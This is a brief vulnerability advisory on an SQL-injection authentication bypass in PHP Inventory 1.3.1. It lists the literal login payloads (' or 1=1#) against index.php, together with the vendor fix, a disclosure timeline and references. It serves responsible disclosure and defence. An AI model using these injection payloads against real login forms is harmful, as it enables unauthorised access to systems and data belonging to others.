Advisory: PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability
Advisory ID: INFOSERVE-ADV2011-08
Author: Stefan Schurtz
Contact: [email protected]
Affected Software: Successfully tested on PHP Inventory 1.3.1
Vendor URL: http://www.phpwares.com/
Vendor Status: fixed
CVE-ID: CVE-2009-4595,CVE-2009-4596,CVE-2009-4597
PHP Inventory is (still) prone to a SQL-Injection (Auth Bypass) vulnerability
http://[target]/php-inventory/index.php
// with 'magic_quotes_gpc = Off'
USER NAME = ' or 1=1#
or
USER NAME = admin
PASSWORD = ' or 1=1#
Update to the latest version 1.3.2
29-Nov-2011 - informed vendor (contact form)
30-Nov-2011 - vendor fix
Vulnerabilitiy found and advisory written by the INFOSERVE security team.
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-08.txt
http://www.exploit-db.com/exploits/10370/
http://secunia.com/advisories/37672/